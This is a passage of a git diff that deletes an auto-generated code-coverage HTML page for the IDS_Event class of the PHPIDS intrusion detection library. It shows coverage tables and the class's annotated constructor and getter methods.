b/apps/maarch_entreprise/tools/phpids/tests/coverage/Event.php.html deleted file mode 100755 index 2754e27724a54b62058d28257e4a5218e37faab9..0000000000000000000000000000000000000000 --- a/apps/maarch_entreprise/tools/phpids/tests/coverage/Event.php.html +++ /dev/null @@ -1,773 +0,0 @@ -<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> - -<html lang="en"> - <head> - <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"> - <title>PHPIDS</title> - <link rel="stylesheet" type="text/css" href="style.css"> - <link rel="stylesheet" type="text/css" href="container.css"> - <script type="text/javascript" src="yahoo-dom-event.js"></script> - <script type="text/javascript" src="container-min.js"></script> - </head> - - <body class="yui-skin-sam"> - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="title">PHPIDS</td></tr> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - - <tr> - <td width="100%"> - <table cellpadding="1" border="0" width="100%"> - <tr> - <td class="headerItem" width="20%">Current file:</td> - <td class="headerValue" width="80%"><a href="index.html">/home/lstrojny/Projekte/php-ids/trunk/lib/IDS</a>/<a href="Event.php.html">Event.php</a></td> - </tr> - <tr> - <td class="legendItem" width="20%">Legend:</td> - <td class="legendValue" width="80%"> - <span class="legendCov">executed</span> - <span class="legendNoCov">not executed</span> - <span class="legendDeadCode">dead code</span> - </td> - </tr> - </table> - </td> - </tr> - - <tr> - <td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td> - </tr> - </table> - - <br /> - - <center> - <table width="90%" cellpadding="2" cellspacing="1" border="0"> - <tr> - <td class="tableHead" width="30%"> </td> - <td class="tableHead" colspan="9">Coverage</td> - </tr> - <tr> - <td class="tableHead"> </td> - <td class="tableHead" colspan="3">Classes</td> - <td class="tableHead" colspan="3">Methods</td> - <td class="tableHead" colspan="3">Lines</td> - </tr> - <tr> - <td class="coverItem">Total</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">8 / 8</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">36 / 36</td> - </tr> - - <tr> - <td class="tableHead" colspan="10"> </td> - </tr> - <tr> - <td class="coverItem"><b><a href="#53">IDS_Event</a></b></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">8 / 8</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">36 / 36</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#106">public function __construct($name, $value, array $filters)</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">17 / 17</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#142">public function getName()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#152">public function getValue()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#162">public function getImpact()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#179">public function getTags()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">7 / 7</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#198">public function getFilters()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#211">public function count()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - <tr> - <td class="coverFile" colspan="4"> <a href="#223">public function getIterator()</a></td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - <td class="coverBar" align="center" width="100"> - <table border="0" cellspacing="0" cellpadding="1"> - <tr> - <td class="coverBarOutline"><img src="chameleon.png" width="100" height="10" alt="100.00 %"><img src="snow.png" width="0" height="10" alt="100.00%"></td> - </tr> - </table> - </td> - <td class="coverPerHi">100.00%</td> - <td class="coverNumHi">1 / 1</td> - </tr> - - - </table> - </center> - - <br /> - - <table cellpadding="0" cellspacing="0" border="0"> - <tr> - <td><br /></td> - </tr> - <tr> - <td> -<pre class="source"> -<span class="lineNum" id="container1"><a name="1"></a><a href="#1" id="line1"> 1</a> </span> : <?php -<span class="lineNum" id="container2"><a name="2"></a><a href="#2" id="line2"> 2</a> </span> : -<span class="lineNum" id="container3"><a name="3"></a><a href="#3" id="line3"> 3</a> </span> : /** -<span class="lineNum" id="container4"><a name="4"></a><a href="#4" id="line4"> 4</a> </span> : * PHPIDS -<span class="lineNum" id="container5"><a name="5"></a><a href="#5" id="line5"> 5</a> </span> : * -<span class="lineNum" id="container6"><a name="6"></a><a href="#6" id="line6"> 6</a> </span> : * Requirements: PHP5, SimpleXML -<span class="lineNum" id="container7"><a name="7"></a><a href="#7" id="line7"> 7</a> </span> : * -<span class="lineNum" id="container8"><a name="8"></a><a href="#8" id="line8"> 8</a> </span> : * Copyright (c) 2008 PHPIDS group (https://phpids.org) -<span class="lineNum" id="container9"><a name="9"></a><a href="#9" id="line9"> 9</a> </span> : * -<span class="lineNum" id="container10"><a name="10"></a><a href="#10" id="line10"> 10</a> </span> : * PHPIDS is free software; you can redistribute it and/or modify -<span class="lineNum" id="container11"><a name="11"></a><a href="#11" id="line11"> 11</a> </span> : * it under the terms of the GNU Lesser General Public License as published by -<span class="lineNum" id="container12"><a name="12"></a><a href="#12" id="line12"> 12</a> </span> : * the Free Software Foundation, version 3 of the License, or -<span class="lineNum" id="container13"><a name="13"></a><a href="#13" id="line13"> 13</a> </span> : * (at your option) any later version. -<span class="lineNum" id="container14"><a name="14"></a><a href="#14" id="line14"> 14</a> </span> : * -<span class="lineNum" id="container15"><a name="15"></a><a href="#15" id="line15"> 15</a> </span> : * PHPIDS is distributed in the hope that it will be useful, -<span class="lineNum" id="container16"><a name="16"></a><a href="#16" id="line16"> 16</a> </span> : * but WITHOUT ANY WARRANTY; without even the implied warranty of -<span class="lineNum" id="container17"><a name="17"></a><a href="#17" id="line17"> 17</a> </span> : * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -<span class="lineNum" id="container18"><a name="18"></a><a href="#18" id="line18"> 18</a> </span> : * GNU Lesser General Public License for more details. -<span class="lineNum" id="container19"><a name="19"></a><a href="#19" id="line19"> 19</a> </span> : * -<span class="lineNum" id="container20"><a name="20"></a><a href="#20" id="line20"> 20</a> </span> : * You should have received a copy of the GNU Lesser General Public License -<span class="lineNum" id="container21"><a name="21"></a><a href="#21" id="line21"> 21</a> </span> : * along with PHPIDS. If not, see <http://www.gnu.org/licenses/>. -<span class="lineNum" id="container22"><a name="22"></a><a href="#22" id="line22"> 22</a> </span> : * -<span class="lineNum" id="container23"><a name="23"></a><a href="#23" id="line23"> 23</a> </span> : * PHP version 5.1.6+ -<span class="lineNum" id="container24"><a name="24"></a><a href="#24" id="line24"> 24</a> </span> : * -<span class="lineNum" id="container25"><a name="25"></a><a href="#25" id="line25"> 25</a> </span> : * @category Security -<span class="lineNum" id="container26"><a name="26"></a><a href="#26" id="line26"> 26</a> </span> : * @package PHPIDS -<span class="lineNum" id="container27"><a name="27"></a><a href="#27" id="line27"> 27</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container28"><a name="28"></a><a href="#28" id="line28"> 28</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container29"><a name="29"></a><a href="#29" id="line29"> 29</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container30"><a name="30"></a><a href="#30" id="line30"> 30</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container31"><a name="31"></a><a href="#31" id="line31"> 31</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container32"><a name="32"></a><a href="#32" id="line32"> 32</a> </span> : */ -<span class="lineNum" id="container33"><a name="33"></a><a href="#33" id="line33"> 33</a> </span> : -<span class="lineNum" id="container34"><a name="34"></a><a href="#34" id="line34"> 34</a> </span> : /** -<span class="lineNum" id="container35"><a name="35"></a><a href="#35" id="line35"> 35</a> </span> : * PHPIDS event object -<span class="lineNum" id="container36"><a name="36"></a><a href="#36" id="line36"> 36</a> </span> : * -<span class="lineNum" id="container37"><a name="37"></a><a href="#37" id="line37"> 37</a> </span> : * This class represents a certain event that occured while applying the filters -<span class="lineNum" id="container38"><a name="38"></a><a href="#38" id="line38"> 38</a> </span> : * to the supplied data. It aggregates a bunch of IDS_Filter implementations and -<span class="lineNum" id="container39"><a name="39"></a><a href="#39" id="line39"> 39</a> </span> : * is a assembled in IDS_Report. -<span class="lineNum" id="container40"><a name="40"></a><a href="#40" id="line40"> 40</a> </span> : * -<span class="lineNum" id="container41"><a name="41"></a><a href="#41" id="line41"> 41</a> </span> : * Note that this class implements both Countable and IteratorAggregate -<span class="lineNum" id="container42"><a name="42"></a><a href="#42" id="line42"> 42</a> </span> : * -<span class="lineNum" id="container43"><a name="43"></a><a href="#43" id="line43"> 43</a> </span> : * @category Security -<span class="lineNum" id="container44"><a name="44"></a><a href="#44" id="line44"> 44</a> </span> : * @package PHPIDS -<span class="lineNum" id="container45"><a name="45"></a><a href="#45" id="line45"> 45</a> </span> : * @author Christian Matthies <ch0012@gmail.com> -<span class="lineNum" id="container46"><a name="46"></a><a href="#46" id="line46"> 46</a> </span> : * @author Mario Heiderich <mario.heiderich@gmail.com> -<span class="lineNum" id="container47"><a name="47"></a><a href="#47" id="line47"> 47</a> </span> : * @author Lars Strojny <lars@strojny.net> -<span class="lineNum" id="container48"><a name="48"></a><a href="#48" id="line48"> 48</a> </span> : * @copyright 2007 The PHPIDS Group -<span class="lineNum" id="container49"><a name="49"></a><a href="#49" id="line49"> 49</a> </span> : * @license http://www.gnu.org/licenses/lgpl.html LGPL -<span class="lineNum" id="container50"><a name="50"></a><a href="#50" id="line50"> 50</a> </span> : * @version Release: $Id:Event.php 517 2007-09-15 15:04:13Z mario $ -<span class="lineNum" id="container51"><a name="51"></a><a href="#51" id="line51"> 51</a> </span> : * @link http://php-ids.org/ -<span class="lineNum" id="container52"><a name="52"></a><a href="#52" id="line52"> 52</a> </span> : */ -<span class="lineNum" id="container53"><a name="53"></a><a href="#53" id="line53"> 53</a> </span> : class IDS_Event implements Countable, IteratorAggregate -<span class="lineNum" id="container54"><a name="54"></a><a href="#54" id="line54"> 54</a> </span> : { -<span class="lineNum" id="container55"><a name="55"></a><a href="#55" id="line55"> 55</a> </span> : -<span class="lineNum" id="container56"><a name="56"></a><a href="#56" id="line56"> 56</a> </span> : /** -<span class="lineNum" id="container57"><a name="57"></a><a href="#57" id="line57"> 57</a> </span> : * Event name -<span class="lineNum" id="container58"><a name="58"></a><a href="#58" id="line58"> 58</a> </span> : * -<span class="lineNum" id="container59"><a name="59"></a><a href="#59" id="line59"> 59</a> </span> : * @var scalar -<span class="lineNum" id="container60"><a name="60"></a><a href="#60" id="line60"> 60</a> </span> : */ -<span class="lineNum" id="container61"><a name="61"></a><a href="#61" id="line61"> 61</a> </span> : protected $name = null; -<span class="lineNum" id="container62"><a name="62"></a><a href="#62" id="line62"> 62</a> </span> : -<span class="lineNum" id="container63"><a name="63"></a><a href="#63" id="line63"> 63</a> </span> : /** -<span class="lineNum" id="container64"><a name="64"></a><a href="#64" id="line64"> 64</a> </span> : * Value of the event -<span class="lineNum" id="container65"><a name="65"></a><a href="#65" id="line65"> 65</a> </span> : * -<span class="lineNum" id="container66"><a name="66"></a><a href="#66" id="line66"> 66</a> </span> : * @var scalar -<span class="lineNum" id="container67"><a name="67"></a><a href="#67" id="line67"> 67</a> </span> : */ -<span class="lineNum" id="container68"><a name="68"></a><a href="#68" id="line68"> 68</a> </span> : protected $value = null; -<span class="lineNum" id="container69"><a name="69"></a><a href="#69" id="line69"> 69</a> </span> : -<span class="lineNum" id="container70"><a name="70"></a><a href="#70" id="line70"> 70</a> </span> : /** -<span class="lineNum" id="container71"><a name="71"></a><a href="#71" id="line71"> 71</a> </span> : * List of filter objects -<span class="lineNum" id="container72"><a name="72"></a><a href="#72" id="line72"> 72</a> </span> : * -<span class="lineNum" id="container73"><a name="73"></a><a href="#73" id="line73"> 73</a> </span> : * Filter objects in this array are those that matched the events value -<span class="lineNum" id="container74"><a name="74"></a><a href="#74" id="line74"> 74</a> </span> : * -<span class="lineNum" id="container75"><a name="75"></a><a href="#75" id="line75"> 75</a> </span> : * @var array -<span class="lineNum" id="container76"><a name="76"></a><a href="#76" id="line76"> 76</a> </span> : */ -<span class="lineNum" id="container77"><a name="77"></a><a href="#77" id="line77"> 77</a> </span> : protected $filters = array(); -<span class="lineNum" id="container78"><a name="78"></a><a href="#78" id="line78"> 78</a> </span> : -<span class="lineNum" id="container79"><a name="79"></a><a href="#79" id="line79"> 79</a> </span> : /** -<span class="lineNum" id="container80"><a name="80"></a><a href="#80" id="line80"> 80</a> </span> : * Calculated impact -<span class="lineNum" id="container81"><a name="81"></a><a href="#81" id="line81"> 81</a> </span> : * -<span class="lineNum" id="container82"><a name="82"></a><a href="#82" id="line82"> 82</a> </span> : * Total impact of the event -<span class="lineNum" id="container83"><a name="83"></a><a href="#83" id="line83"> 83</a> </span> : * -<span class="lineNum" id="container84"><a name="84"></a><a href="#84" id="line84"> 84</a> </span> : * @var integer -<span class="lineNum" id="container85"><a name="85"></a><a href="#85" id="line85"> 85</a> </span> : */ -<span class="lineNum" id="container86"><a name="86"></a><a href="#86" id="line86"> 86</a> </span> : protected $impact = 0; -<span class="lineNum" id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : /** -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : * Affecte tags -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : * -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : * @var array -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : */ -<span class="lineNum" id="container93"><a name="93"></a><a href="#93" id="line93"> 93</a> </span> : protected $tags = array(); -<span class="lineNum" id="container94"><a name="94"></a><a href="#94" id="line94"> 94</a> </span> : -<span class="lineNum" id="container95"><a name="95"></a><a href="#95" id="line95"> 95</a> </span> : /** -<span class="lineNum" id="container96"><a name="96"></a><a href="#96" id="line96"> 96</a> </span> : * Constructor -<span class="lineNum" id="container97"><a name="97"></a><a href="#97" id="line97"> 97</a> </span> : * -<span class="lineNum" id="container98"><a name="98"></a><a href="#98" id="line98"> 98</a> </span> : * Fills event properties -<span class="lineNum" id="container99"><a name="99"></a><a href="#99" id="line99"> 99</a> </span> : * -<span class="lineNum" id="container100"><a name="100"></a><a href="#100" id="line100"> 100</a> </span> : * @param scalar $name the event name -<span class="lineNum" id="container101"><a name="101"></a><a href="#101" id="line101"> 101</a> </span> : * @param scalar $value the event value -<span class="lineNum" id="container102"><a name="102"></a><a href="#102" id="line102"> 102</a> </span> : * @param array $filters the corresponding filters -<span class="lineNum" id="container103"><a name="103"></a><a href="#103" id="line103"> 103</a> </span> : * -<span class="lineNum" id="container104"><a name="104"></a><a href="#104" id="line104"> 104</a> </span> : * @return void -<span class="lineNum" id="container105"><a name="105"></a><a href="#105" id="line105"> 105</a> </span> : */ -<span class="lineNum" id="container106"><a name="106"></a><a href="#106" id="line106"> 106</a> </span> : public function __construct($name, $value, Array $filters) -<span class="lineNum" id="container107"><a name="107"></a><a href="#107" id="line107"> 107</a> </span> : { -<span class="lineNum" id="container108"><a name="108"></a><a href="#108" id="line108"> 108</a> </span><span class="lineCov"> 58 : if (!is_scalar($name)) { </span> -<span class="lineNum" id="container109"><a name="109"></a><a href="#109" id="line109"> 109</a> </span><span class="lineCov"> 1 : throw new InvalidArgumentException( </span> -<span class="lineNum" id="container110"><a name="110"></a><a href="#110" id="line110"> 110</a> </span><span class="lineCov"> 1 : 'Expected $name to be a scalar,' . gettype($name) . ' given' </span> -<span class="lineNum" id="container111"><a name="111"></a><a href="#111" id="line111"> 111</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container112"><a name="112"></a><a href="#112" id="line112"> 112</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container113"><a name="113"></a><a href="#113" id="line113"> 113</a> </span> : -<span class="lineNum" id="container114"><a name="114"></a><a href="#114" id="line114"> 114</a> </span><span class="lineCov"> 58 : if (!is_scalar($value)) { </span> -<span class="lineNum" id="container115"><a name="115"></a><a href="#115" id="line115"> 115</a> </span><span class="lineCov"> 1 : throw new InvalidArgumentException(' </span> -<span class="lineNum" id="container116"><a name="116"></a><a href="#116" id="line116"> 116</a> </span><span class="lineCov"> 1 : Expected $value to be a scalar,' . gettype($value) . ' given' </span> -<span class="lineNum" id="container117"><a name="117"></a><a href="#117" id="line117"> 117</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container118"><a name="118"></a><a href="#118" id="line118"> 118</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container119"><a name="119"></a><a href="#119" id="line119"> 119</a> </span> : -<span class="lineNum" id="container120"><a name="120"></a><a href="#120" id="line120"> 120</a> </span><span class="lineCov"> 58 : $this->name = $name; </span> -<span class="lineNum" id="container121"><a name="121"></a><a href="#121" id="line121"> 121</a> </span><span class="lineCov"> 58 : $this->value = $value; </span> -<span class="lineNum" id="container122"><a name="122"></a><a href="#122" id="line122"> 122</a> </span> : -<span class="lineNum" id="container123"><a name="123"></a><a href="#123" id="line123"> 123</a> </span><span class="lineCov"> 58 : foreach ($filters as $filter) { </span> -<span class="lineNum" id="container124"><a name="124"></a><a href="#124" id="line124"> 124</a> </span><span class="lineCov"> 58 : if (!$filter instanceof IDS_Filter) { </span> -<span class="lineNum" id="container125"><a name="125"></a><a href="#125" id="line125"> 125</a> </span><span class="lineCov"> 1 : throw new InvalidArgumentException( </span> -<span class="lineNum" id="container126"><a name="126"></a><a href="#126" id="line126"> 126</a> </span> : 'Filter must be derived from IDS_Filter' -<span class="lineNum" id="container127"><a name="127"></a><a href="#127" id="line127"> 127</a> </span><span class="lineCov"> 1 : ); </span> -<span class="lineNum" id="container128"><a name="128"></a><a href="#128" id="line128"> 128</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container129"><a name="129"></a><a href="#129" id="line129"> 129</a> </span> : -<span class="lineNum" id="container130"><a name="130"></a><a href="#130" id="line130"> 130</a> </span><span class="lineCov"> 58 : $this->filters[] = $filter; </span> -<span class="lineNum" id="container131"><a name="131"></a><a href="#131" id="line131"> 131</a> </span><span class="lineCov"> 58 : } </span> -<span class="lineNum" id="container132"><a name="132"></a><a href="#132" id="line132"> 132</a> </span><span class="lineCov"> 58 : } </span> -<span class="lineNum" id="container133"><a name="133"></a><a href="#133" id="line133"> 133</a> </span> : -<span class="lineNum" id="container134"><a name="134"></a><a href="#134" id="line134"> 134</a> </span> : /** -<span class="lineNum" id="container135"><a name="135"></a><a href="#135" id="line135"> 135</a> </span> : * Returns event name -<span class="lineNum" id="container136"><a name="136"></a><a href="#136" id="line136"> 136</a> </span> : * -<span class="lineNum" id="container137"><a name="137"></a><a href="#137" id="line137"> 137</a> </span> : * The name of the event usually is the key of the variable that was -<span class="lineNum" id="container138"><a name="138"></a><a href="#138" id="line138"> 138</a> </span> : * considered to be malicious -<span class="lineNum" id="container139"><a name="139"></a><a href="#139" id="line139"> 139</a> </span> : * -<span class="lineNum" id="container140"><a name="140"></a><a href="#140" id="line140"> 140</a> </span> : * @return scalar -<span class="lineNum" id="container141"><a name="141"></a><a href="#141" id="line141"> 141</a> </span> : */ -<span class="lineNum" id="container142"><a name="142"></a><a href="#142" id="line142"> 142</a> </span> : public function getName() -<span class="lineNum" id="container143"><a name="143"></a><a href="#143" id="line143"> 143</a> </span> : { -<span class="lineNum" id="container144"><a name="144"></a><a href="#144" id="line144"> 144</a> </span><span class="lineCov"> 53 : return $this->name; </span> -<span class="lineNum" id="container145"><a name="145"></a><a href="#145" id="line145"> 145</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container146"><a name="146"></a><a href="#146" id="line146"> 146</a> </span> : -<span class="lineNum" id="container147"><a name="147"></a><a href="#147" id="line147"> 147</a> </span> : /** -<span class="lineNum" id="container148"><a name="148"></a><a href="#148" id="line148"> 148</a> </span> : * Returns event value -<span class="lineNum" id="container149"><a name="149"></a><a href="#149" id="line149"> 149</a> </span> : * -<span class="lineNum" id="container150"><a name="150"></a><a href="#150" id="line150"> 150</a> </span> : * @return scalar -<span class="lineNum" id="container151"><a name="151"></a><a href="#151" id="line151"> 151</a> </span> : */ -<span class="lineNum" id="container152"><a name="152"></a><a href="#152" id="line152"> 152</a> </span> : public function getValue() -<span class="lineNum" id="container153"><a name="153"></a><a href="#153" id="line153"> 153</a> </span> : { -<span class="lineNum" id="container154"><a name="154"></a><a href="#154" id="line154"> 154</a> </span><span class="lineCov"> 2 : return $this->value; </span> -<span class="lineNum" id="container155"><a name="155"></a><a href="#155" id="line155"> 155</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container156"><a name="156"></a><a href="#156" id="line156"> 156</a> </span> : -<span class="lineNum" id="container157"><a name="157"></a><a href="#157" id="line157"> 157</a> </span> : /** -<span class="lineNum" id="container158"><a name="158"></a><a href="#158" id="line158"> 158</a> </span> : * Returns calculated impact -<span class="lineNum" id="container159"><a name="159"></a><a href="#159" id="line159"> 159</a> </span> : * -<span class="lineNum" id="container160"><a name="160"></a><a href="#160" id="line160"> 160</a> </span> : * @return integer -<span class="lineNum" id="container161"><a name="161"></a><a href="#161" id="line161"> 161</a> </span> : */ -<span class="lineNum" id="container162"><a name="162"></a><a href="#162" id="line162"> 162</a> </span> : public function getImpact() -<span class="lineNum" id="container163"><a name="163"></a><a href="#163" id="line163"> 163</a> </span> : { -<span class="lineNum" id="container164"><a name="164"></a><a href="#164" id="line164"> 164</a> </span><span class="lineCov"> 35 : if (!$this->impact) { </span> -<span class="lineNum" id="container165"><a name="165"></a><a href="#165" id="line165"> 165</a> </span><span class="lineCov"> 35 : $this->impact = 0; </span> -<span class="lineNum" id="container166"><a name="166"></a><a href="#166" id="line166"> 166</a> </span><span class="lineCov"> 35 : foreach ($this->filters as $filter) { </span> -<span class="lineNum" id="container167"><a name="167"></a><a href="#167" id="line167"> 167</a> </span><span class="lineCov"> 35 : $this->impact += $filter->getImpact(); </span> -<span class="lineNum" id="container168"><a name="168"></a><a href="#168" id="line168"> 168</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container169"><a name="169"></a><a href="#169" id="line169"> 169</a> </span><span class="lineCov"> 35 : } </span> -<span class="lineNum" id="container170"><a name="170"></a><a href="#170" id="line170"> 170</a> </span> : -<span class="lineNum" id="container171"><a name="171"></a><a href="#171" id="line171"> 171</a> </span><span class="lineCov"> 35 : return $this->impact; </span> -<span class="lineNum" id="container172"><a name="172"></a><a href="#172" id="line172"> 172</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container173"><a name="173"></a><a href="#173" id="line173"> 173</a> </span> : -<span class="lineNum" id="container174"><a name="174"></a><a href="#174" id="line174"> 174</a> </span> : /** -<span class="lineNum" id="container175"><a name="175"></a><a href="#175" id="line175"> 175</a> </span> : * Returns affected tags -<span class="lineNum" id="container176"><a name="176"></a><a href="#176" id="line176"> 176</a> </span> : * -<span class="lineNum" id="container177"><a name="177"></a><a href="#177" 